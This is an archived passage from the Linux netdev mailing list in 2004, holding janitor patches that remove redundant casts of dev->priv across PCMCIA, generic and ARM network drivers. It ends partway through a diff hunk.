Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/pcmcia/3c574_cs.c | 18 +++++++++--------- drivers/net/pcmcia/3c589_cs.c | 14 +++++++------- drivers/net/pcmcia/com20020_cs.c | 2 +- drivers/net/pcmcia/fmvj18x_cs.c | 14 +++++++------- drivers/net/pcmcia/ibmtr_cs.c | 2 +- drivers/net/pcmcia/smc91c92_cs.c | 8 ++++---- 6 files changed, 29 insertions(+), 29 deletions(-) diff -puN drivers/net/pcmcia/3c574_cs.c~net_pcmcia_casts drivers/net/pcmcia/3c574_cs.c --- linux-263-229/drivers/net/pcmcia/3c574_cs.c~net_pcmcia_casts 2004-02-29 13:55:31.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/pcmcia/3c574_cs.c 2004-02-29 13:55:31.000000000 -0800 @@ -733,7 +733,7 @@ static void mdio_write(ioaddr_t ioaddr, /* Reset and restore all of the 3c574 registers. */ static void tc574_reset(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; int i, ioaddr = dev->base_addr; unsigned long flags; @@ -814,7 +814,7 @@ static void tc574_reset(struct net_devic static int el3_open(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; dev_link_t *link = &lp->link; if (!DEV_OK(link)) @@ -837,7 +837,7 @@ static int el3_open(struct net_device *d static void el3_tx_timeout(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; printk(KERN_NOTICE "%s: Transmit timed out!\n", dev->name); @@ -852,7 +852,7 @@ static void el3_tx_timeout(struct net_de static void pop_tx_status(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; int i; @@ -877,7 +877,7 @@ static void pop_tx_status(struct net_dev static int el3_start_xmit(struct sk_buff *skb, struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; unsigned long flags; DEBUG(3, "%s: el3_start_xmit(length = %ld) called, " @@ -1074,7 +1074,7 @@ reschedule: static struct net_device_stats *el3_get_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; if (netif_device_present(dev)) { unsigned long flags; @@ -1091,7 +1091,7 @@ static struct net_device_stats *el3_get_ */ static void update_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; u8 rx, tx, up; @@ -1128,7 +1128,7 @@ static void update_stats(struct net_devi static int el3_rx(struct net_device *dev, int worklimit) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; short rx_status; @@ -1190,7 +1190,7 @@ static struct ethtool_ops netdev_ethtool /* Provide ioctl() calls to examine the MII xcvr state. */ static int el3_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; u16 *data = (u16 *)&rq->ifr_data; int phy = lp->phys & 0x1f; diff -puN drivers/net/pcmcia/3c589_cs.c~net_pcmcia_casts drivers/net/pcmcia/3c589_cs.c --- linux-263-229/drivers/net/pcmcia/3c589_cs.c~net_pcmcia_casts 2004-02-29 13:55:31.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/pcmcia/3c589_cs.c 2004-02-29 13:55:31.000000000 -0800 @@ -526,7 +526,7 @@ static u16 read_eeprom(ioaddr_t ioaddr, */ static void tc589_set_xcvr(struct net_device *dev, int if_port) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; EL3WINDOW(0); @@ -648,7 +648,7 @@ static int el3_config(struct net_device static int el3_open(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; dev_link_t *link = &lp->link; if (!DEV_OK(link)) @@ -672,7 +672,7 @@ static int el3_open(struct net_device *d static void el3_tx_timeout(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; printk(KERN_WARNING "%s: Transmit timed out!\n", dev->name); @@ -687,7 +687,7 @@ static void el3_tx_timeout(struct net_de static void pop_tx_status(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; int i; @@ -906,7 +906,7 @@ reschedule: static struct net_device_stats *el3_get_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; unsigned long flags; dev_link_t *link = &lp->link; @@ -928,7 +928,7 @@ static struct net_device_stats *el3_get_ */ static void update_stats(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; DEBUG(2, "%s: updating the statistics.\n", dev->name); @@ -955,7 +955,7 @@ static void update_stats(struct net_devi static int el3_rx(struct net_device *dev) { - struct el3_private *lp = (struct el3_private *)dev->priv; + struct el3_private *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; int worklimit = 32; short rx_status; diff -puN drivers/net/pcmcia/com20020_cs.c~net_pcmcia_casts drivers/net/pcmcia/com20020_cs.c --- linux-263-229/drivers/net/pcmcia/com20020_cs.c~net_pcmcia_casts 2004-02-29 13:55:31.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/pcmcia/com20020_cs.c 2004-02-29 13:55:31.000000000 -0800 @@ -492,7 +492,7 @@ static int com20020_event(event_t event, pcmcia_request_configuration(link->handle, &link->conf); if (link->open) { int ioaddr = dev->base_addr; - struct arcnet_local *lp = (struct arcnet_local *)dev->priv; + struct arcnet_local *lp = dev->priv; ARCRESET; } } diff -puN drivers/net/pcmcia/fmvj18x_cs.c~net_pcmcia_casts drivers/net/pcmcia/fmvj18x_cs.c --- linux-263-229/drivers/net/pcmcia/fmvj18x_cs.c~net_pcmcia_casts 2004-02-29 13:55:31.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/pcmcia/fmvj18x_cs.c 2004-02-29 13:55:31.000000000 -0800 @@ -862,7 +862,7 @@ static irqreturn_t fjn_interrupt(int irq static void fjn_tx_timeout(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; printk(KERN_NOTICE "%s: transmit timed out with status %04x, %s?\n", @@ -892,7 +892,7 @@ static void fjn_tx_timeout(struct net_de static int fjn_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; short length = skb->len; @@ -966,7 +966,7 @@ static int fjn_start_xmit(struct sk_buff static void fjn_reset(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; int i; @@ -1052,7 +1052,7 @@ static void fjn_reset(struct net_device static void fjn_rx(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; ioaddr_t ioaddr = dev->base_addr; int boguscount = 10; /* 5 -> 10: by agy 19940922 */ @@ -1181,7 +1181,7 @@ static int fjn_config(struct net_device static int fjn_open(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; dev_link_t *link = &lp->link; DEBUG(4, "fjn_open('%s').\n", dev->name); @@ -1206,7 +1206,7 @@ static int fjn_open(struct net_device *d static int fjn_close(struct net_device *dev) { - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; dev_link_t *link = &lp->link; ioaddr_t ioaddr = dev->base_addr; @@ -1252,7 +1252,7 @@ static struct net_device_stats *fjn_get_ static void set_rx_mode(struct net_device *dev) { ioaddr_t ioaddr = dev->base_addr; - struct local_info_t *lp = (struct local_info_t *)dev->priv; + struct local_info_t *lp = dev->priv; u_char mc_filter[8]; /* Multicast hash filter */ u_long flags; int i; diff -puN drivers/net/pcmcia/ibmtr_cs.c~net_pcmcia_casts drivers/net/pcmcia/ibmtr_cs.c --- linux-263-229/drivers/net/pcmcia/ibmtr_cs.c~net_pcmcia_casts 2004-02-29 13:55:31.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/pcmcia/ibmtr_cs.c 2004-02-29 13:55:31.000000000 -0800 @@ -256,7 +256,7 @@ static void ibmtr_detach(dev_link_t *lin unregister_netdev(dev); { - struct tok_info *ti = (struct tok_info *)dev->priv; + struct tok_info *ti = dev->priv; del_timer_sync(&(ti->tr_timer)); } if (link->state & DEV_CONFIG) diff -puN drivers/net/pcmcia/smc91c92_cs.c~net_pcmcia_casts drivers/net/pcmcia/smc91c92_cs.c --- linux-263-229/drivers/net/pcmcia/smc91c92_cs.c~net_pcmcia_casts 2004-02-29 13:55:31.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/pcmcia/smc91c92_cs.c 2004-02-29 13:55:31.000000000 -0800 @@ -1460,7 +1460,7 @@ static int smc_start_xmit(struct sk_buff static void smc_tx_err(struct net_device * dev) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = dev->priv; ioaddr_t ioaddr = dev->base_addr; int saved_packet = inw(ioaddr + PNR_ARR) & 0xff; int packet_no = inw(ioaddr + FIFO_PORTS) & 0x7f; @@ -1657,7 +1657,7 @@ irq_done: static void smc_rx(struct net_device *dev) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = dev->priv; ioaddr_t ioaddr = dev->base_addr; int rx_status; int packet_length; /* Caution: not frame length, rather words @@ -1725,7 +1725,7 @@ static void smc_rx(struct net_device *de static struct net_device_stats *smc_get_stats(struct net_device *dev) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = dev->priv; /* Nothing to update - the 91c92 is a pretty primative chip. */ return &smc->stats; } @@ -1830,7 +1830,7 @@ static int s9k_config(struct net_device */ static void smc_set_xcvr(struct net_device *dev, int if_port) { - struct smc_private *smc = (struct smc_private *)dev->priv; + struct smc_private *smc = dev->priv; ioaddr_t ioaddr = dev->base_addr; u_short saved_bank; _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:10:59 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAkKO000767 for ; Sun, 29 Feb 2004 15:10:46 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNAcE04031; Sun, 29 Feb 2004 15:10:38 -0800 Date: Sun, 29 Feb 2004 14:57:50 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com Subject: Re: [janitor] remove unneeded casts in generic drivers/net/ Message-Id: <20040229145750.3afe6034.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3668 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/ethertap.c | 10 +++++----- drivers/net/isa-skeleton.c | 14 +++++++------- drivers/net/loopback.c | 2 +- drivers/net/plip.c | 20 ++++++++++---------- drivers/net/tun.c | 6 +++--- 5 files changed, 26 insertions(+), 26 deletions(-) diff -puN drivers/net/ethertap.c~net_generic_casts drivers/net/ethertap.c --- linux-263-229/drivers/net/ethertap.c~net_generic_casts 2004-02-29 14:02:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/ethertap.c 2004-02-29 14:02:00.000000000 -0800 @@ -150,7 +150,7 @@ static unsigned ethertap_mc_hash(__u8 *d static void set_multicast_list(struct net_device *dev) { unsigned groups = ~0; - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; if (!(dev->flags&(IFF_NOARP|IFF_PROMISC|IFF_ALLMULTI))) { struct dev_mc_list *dmi; @@ -176,7 +176,7 @@ static void set_multicast_list(struct ne static int ethertap_start_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; #ifdef CONFIG_ETHERTAP_MC struct ethhdr *eth = (struct ethhdr*)skb->data; #endif @@ -234,7 +234,7 @@ static int ethertap_start_xmit(struct sk static __inline__ int ethertap_rx_skb(struct sk_buff *skb, struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; #ifdef CONFIG_ETHERTAP_MC struct ethhdr *eth = (struct ethhdr*)(skb->data + 2); #endif @@ -320,7 +320,7 @@ static void ethertap_rx(struct sock *sk, static int ethertap_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; struct sock *sk = lp->nl; if (ethertap_debug > 2) @@ -338,7 +338,7 @@ static int ethertap_close(struct net_dev static struct net_device_stats *ethertap_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; return &lp->stats; } diff -puN drivers/net/isa-skeleton.c~net_generic_casts drivers/net/isa-skeleton.c --- linux-263-229/drivers/net/isa-skeleton.c~net_generic_casts 2004-02-29 14:02:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/isa-skeleton.c 2004-02-29 14:02:00.000000000 -0800 @@ -326,7 +326,7 @@ out: static void net_tx_timeout(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = dev->priv; printk(KERN_WARNING "%s: transmit timed out, %s?\n", dev->name, tx_done(dev) ? "IRQ conflict" : "network cable problem"); @@ -361,7 +361,7 @@ static void net_tx_timeout(struct net_de static int net_open(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = dev->priv; int ioaddr = dev->base_addr; /* * This is used if the interrupt line can turned off (shared). @@ -399,7 +399,7 @@ net_open(struct net_device *dev) */ static int net_send_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = dev->priv; int ioaddr = dev->base_addr; short length = ETH_ZLEN < skb->len ? skb->len : ETH_ZLEN; unsigned char *buf = skb->data; @@ -465,7 +465,7 @@ static int net_send_packet(struct sk_buf */ void net_tx(struct net_device *dev) { - struct net_local *np = (struct net_local *)dev->priv; + struct net_local *np = dev->priv; int entry; /* This protects us from concurrent execution of @@ -539,7 +539,7 @@ out: static void net_rx(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; int boguscount = 10; @@ -591,7 +591,7 @@ net_rx(struct net_device *dev) static int net_close(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; int ioaddr = dev->base_addr; lp->open_time = 0; @@ -620,7 +620,7 @@ net_close(struct net_device *dev) */ static struct net_device_stats *net_get_stats(struct net_device *dev) { - struct net_local *lp = (struct net_local *)dev->priv; + struct net_local *lp = dev->priv; short ioaddr = dev->base_addr; /* Update the statistics from the device registers. */ diff -puN drivers/net/loopback.c~net_generic_casts drivers/net/loopback.c --- linux-263-229/drivers/net/loopback.c~net_generic_casts 2004-02-29 14:02:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/loopback.c 2004-02-29 14:02:00.000000000 -0800 @@ -123,7 +123,7 @@ static void emulate_large_send_offload(s */ static int loopback_xmit(struct sk_buff *skb, struct net_device *dev) { - struct net_device_stats *stats = (struct net_device_stats *)dev->priv; + struct net_device_stats *stats = dev->priv; skb_orphan(skb); diff -puN drivers/net/plip.c~net_generic_casts drivers/net/plip.c --- linux-263-229/drivers/net/plip.c~net_generic_casts 2004-02-29 14:02:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/plip.c 2004-02-29 14:02:00.000000000 -0800 @@ -323,7 +323,7 @@ plip_init_netdev(struct net_device *dev) static void plip_kick_bh(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; if (nl->is_deferred) schedule_work(&nl->immediate); @@ -366,7 +366,7 @@ static plip_func connection_state_table[ static void plip_bh(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; struct plip_local *snd = &nl->snd_data; struct plip_local *rcv = &nl->rcv_data; plip_func f; @@ -384,7 +384,7 @@ plip_bh(struct net_device *dev) static void plip_timer_bh(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; if (!(atomic_read (&nl->kill_timer))) { plip_interrupt (-1, dev, NULL); @@ -961,7 +961,7 @@ plip_interrupt(int irq, void *dev_id, st static int plip_tx_packet(struct sk_buff *skb, struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; struct plip_local *snd = &nl->snd_data; if (netif_queue_stopped(dev)) @@ -1021,7 +1021,7 @@ plip_hard_header(struct sk_buff *skb, st unsigned short type, void *daddr, void *saddr, unsigned len) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; int ret; if ((ret = nl->orig_hard_header(skb, dev, type, daddr, saddr, len)) >= 0) @@ -1057,7 +1057,7 @@ int plip_hard_header_cache(struct neighb static int plip_open(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; struct in_device *in_dev; /* Grab the port */ @@ -1116,7 +1116,7 @@ plip_open(struct net_device *dev) static int plip_close(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; struct plip_local *snd = &nl->snd_data; struct plip_local *rcv = &nl->rcv_data; @@ -1163,7 +1163,7 @@ static int plip_preempt(void *handle) { struct net_device *dev = (struct net_device *)handle; - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; /* Stand our ground if a datagram is on the wire */ if (nl->connection != PLIP_CN_NONE) { @@ -1179,7 +1179,7 @@ static void plip_wakeup(void *handle) { struct net_device *dev = (struct net_device *)handle; - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; if (nl->port_owner) { /* Why are we being woken up? */ @@ -1207,7 +1207,7 @@ plip_wakeup(void *handle) static struct net_device_stats * plip_get_stats(struct net_device *dev) { - struct net_local *nl = (struct net_local *)dev->priv; + struct net_local *nl = dev->priv; struct net_device_stats *r = &nl->enet_stats; return r; diff -puN drivers/net/tun.c~net_generic_casts drivers/net/tun.c --- linux-263-229/drivers/net/tun.c~net_generic_casts 2004-02-29 14:02:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/tun.c 2004-02-29 14:02:00.000000000 -0800 @@ -70,7 +70,7 @@ static int tun_net_close(struct net_devi /* Net device start xmit */ static int tun_net_xmit(struct sk_buff *skb, struct net_device *dev) { - struct tun_struct *tun = (struct tun_struct *)dev->priv; + struct tun_struct *tun = dev->priv; DBG(KERN_INFO "%s: tun_net_xmit %d\n", tun->dev->name, skb->len); @@ -113,14 +113,14 @@ static void tun_net_mclist(struct net_de static struct net_device_stats *tun_net_stats(struct net_device *dev) { - struct tun_struct *tun = (struct tun_struct *)dev->priv; + struct tun_struct *tun = dev->priv; return &tun->stats; } /* Initialize net device. */ static void tun_net_init(struct net_device *dev) { - struct tun_struct *tun = (struct tun_struct *)dev->priv; + struct tun_struct *tun = dev->priv; switch (tun->flags & TUN_TYPE_MASK) { case TUN_TUN_DEV: _ -- ~Randy From rddunlap@osdl.org Sun Feb 29 15:10:45 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 29 Feb 2004 15:11:01 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i1TNAhKO000754 for ; Sun, 29 Feb 2004 15:10:44 -0800 Received: from midway.verizon.net (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i1TNARE03978; Sun, 29 Feb 2004 15:10:27 -0800 Date: Sun, 29 Feb 2004 14:34:36 -0800 From: "Randy.Dunlap" To: jgarzik Cc: netdev@oss.sgi.com, rking Subject: Re: [janitor] remove casts in drivers/net/arm/ Message-Id: <20040229143436.4bb884ee.rddunlap@osdl.org> In-Reply-To: <20040229142516.3d218ed0.rddunlap@osdl.org> References: <20040229142516.3d218ed0.rddunlap@osdl.org> Organization: OSDL X-Mailer: Sylpheed version 0.9.8a (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3669 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev From: Carlo Perassi drivers/net/arm/am79c961a.c | 18 +++++++++--------- drivers/net/arm/ether1.c | 18 +++++++++--------- drivers/net/arm/ether3.c | 18 +++++++++--------- drivers/net/arm/etherh.c | 4 ++-- 4 files changed, 29 insertions(+), 29 deletions(-) diff -puN drivers/net/arm/am79c961a.c~net_arm_casts drivers/net/arm/am79c961a.c --- linux-263-229/drivers/net/arm/am79c961a.c~net_arm_casts 2004-02-29 13:53:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/arm/am79c961a.c 2004-02-29 13:53:00.000000000 -0800 @@ -196,7 +196,7 @@ am79c961_ramtest(struct net_device *dev, static void am79c961_init_for_open(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned long flags; unsigned char *p; u_int hdr_addr, first_free_addr; @@ -271,7 +271,7 @@ am79c961_init_for_open(struct net_device static void am79c961_timer(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned int lnkstat, carrier; lnkstat = read_ireg(dev->base_addr, ISALED0) & ISALED0_LNKST; @@ -291,7 +291,7 @@ static void am79c961_timer(unsigned long static int am79c961_open(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; int ret; memset (&priv->stats, 0, sizeof (priv->stats)); @@ -318,7 +318,7 @@ am79c961_open(struct net_device *dev) static int am79c961_close(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned long flags; del_timer_sync(&priv->timer); @@ -341,7 +341,7 @@ am79c961_close(struct net_device *dev) */ static struct net_device_stats *am79c961_getstats (struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; return &priv->stats; } @@ -365,7 +365,7 @@ static void am79c961_mc_hash(struct dev_ */ static void am79c961_setmulticastlist (struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned long flags; unsigned short multi_hash[4], mode; int i, stopped; @@ -444,7 +444,7 @@ static void am79c961_timeout(struct net_ static int am79c961_sendpacket(struct sk_buff *skb, struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; unsigned int hdraddr, bufaddr; unsigned int head; unsigned long flags; @@ -593,7 +593,7 @@ static irqreturn_t am79c961_interrupt(int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; u_int status, n = 100; int handled = 0; @@ -630,7 +630,7 @@ am79c961_interrupt(int irq, void *dev_id static int am79c961_hw_init(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; spin_lock_irq(&priv->chip_lock); write_rreg (dev->base_addr, CSR0, CSR0_STOP); diff -puN drivers/net/arm/ether1.c~net_arm_casts drivers/net/arm/ether1.c --- linux-263-229/drivers/net/arm/ether1.c~net_arm_casts 2004-02-29 13:53:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/arm/ether1.c 2004-02-29 13:53:00.000000000 -0800 @@ -447,7 +447,7 @@ static rbd_t init_rbd = { static int ether1_init_for_open (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; int i, status, addr, next, next2; int failures = 0; unsigned long timeout; @@ -616,7 +616,7 @@ ether1_init_for_open (struct net_device static int ether1_txalloc (struct net_device *dev, int size) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; int start, tail; size = (size + 1) & ~1; @@ -642,7 +642,7 @@ ether1_txalloc (struct net_device *dev, static int ether1_open (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; if (!is_valid_ether_addr(dev->dev_addr)) { printk(KERN_WARNING "%s: invalid ethernet MAC address\n", @@ -668,7 +668,7 @@ ether1_open (struct net_device *dev) static void ether1_timeout(struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; printk(KERN_WARNING "%s: transmit timeout, network cable problem?\n", dev->name); @@ -686,7 +686,7 @@ ether1_timeout(struct net_device *dev) static int ether1_sendpacket (struct sk_buff *skb, struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; int tmp, tst, nopaddr, txaddr, tbdaddr, dataddr; unsigned long flags; tx_t tx; @@ -762,7 +762,7 @@ ether1_sendpacket (struct sk_buff *skb, static void ether1_xmit_done (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; nop_t nop; int caddr, tst; @@ -863,7 +863,7 @@ again: static void ether1_recv_done (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; int status; int nexttail, rbdaddr; rbd_t rbd; @@ -919,7 +919,7 @@ static irqreturn_t ether1_interrupt (int irq, void *dev_id, struct pt_regs *regs) { struct net_device *dev = (struct net_device *)dev_id; - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; int status; status = ether1_inw (dev, SCB_ADDR, scb_t, scb_status, NORMALIRQS); @@ -978,7 +978,7 @@ ether1_close (struct net_device *dev) static struct net_device_stats * ether1_getstats (struct net_device *dev) { - struct ether1_priv *priv = (struct ether1_priv *)dev->priv; + struct ether1_priv *priv = dev->priv; return &priv->stats; } diff -puN drivers/net/arm/ether3.c~net_arm_casts drivers/net/arm/ether3.c --- linux-263-229/drivers/net/arm/ether3.c~net_arm_casts 2004-02-29 13:53:00.000000000 -0800 +++ linux-263-229-rddunlap/drivers/net/arm/ether3.c 2004-02-29 13:53:00.000000000 -0800 @@ -121,7 +121,7 @@ static inline void ether3_outw(int v, co static int ether3_setbuffer(struct net_device *dev, buffer_rw_t read, int start) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; int timeout = 1000; ether3_outw(priv->regs.config1 | CFG1_LOCBUFMEM, REG_CONFIG1); @@ -180,7 +180,7 @@ static void ether3_ledoff(unsigned long data) { struct net_device *dev = (struct net_device *)data; - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; ether3_outw(priv->regs.config2 |= CFG2_CTRLO, REG_CONFIG2); } @@ -280,7 +280,7 @@ ether3_ramtest(struct net_device *dev, u static int __init ether3_init_2(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; int i; priv->regs.config1 = CFG1_RECVCOMPSTAT0|CFG1_DMABURST8; @@ -330,7 +330,7 @@ ether3_init_2(struct net_device *dev) static void ether3_init_for_open(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; int i; memset(&priv->stats, 0, sizeof(struct net_device_stats)); @@ -434,7 +434,7 @@ ether3_open(struct net_device *dev) static int ether3_close(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; netif_stop_queue(dev); @@ -457,7 +457,7 @@ ether3_close(struct net_device *dev) */ static struct net_device_stats *ether3_getstats(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; return &priv->stats; } @@ -469,7 +469,7 @@ static struct net_device_stats *ether3_g */ static void ether3_setmulticastlist(struct net_device *dev) { - struct dev_priv *priv = (struct dev_priv *)dev->priv; + struct dev_priv *priv = dev->priv; priv->regs.config1 &= ~CFG1_RECVPROMISC; @@ -487,7 +487,7 @@ static void ether3_setmulticastlist(stru static void 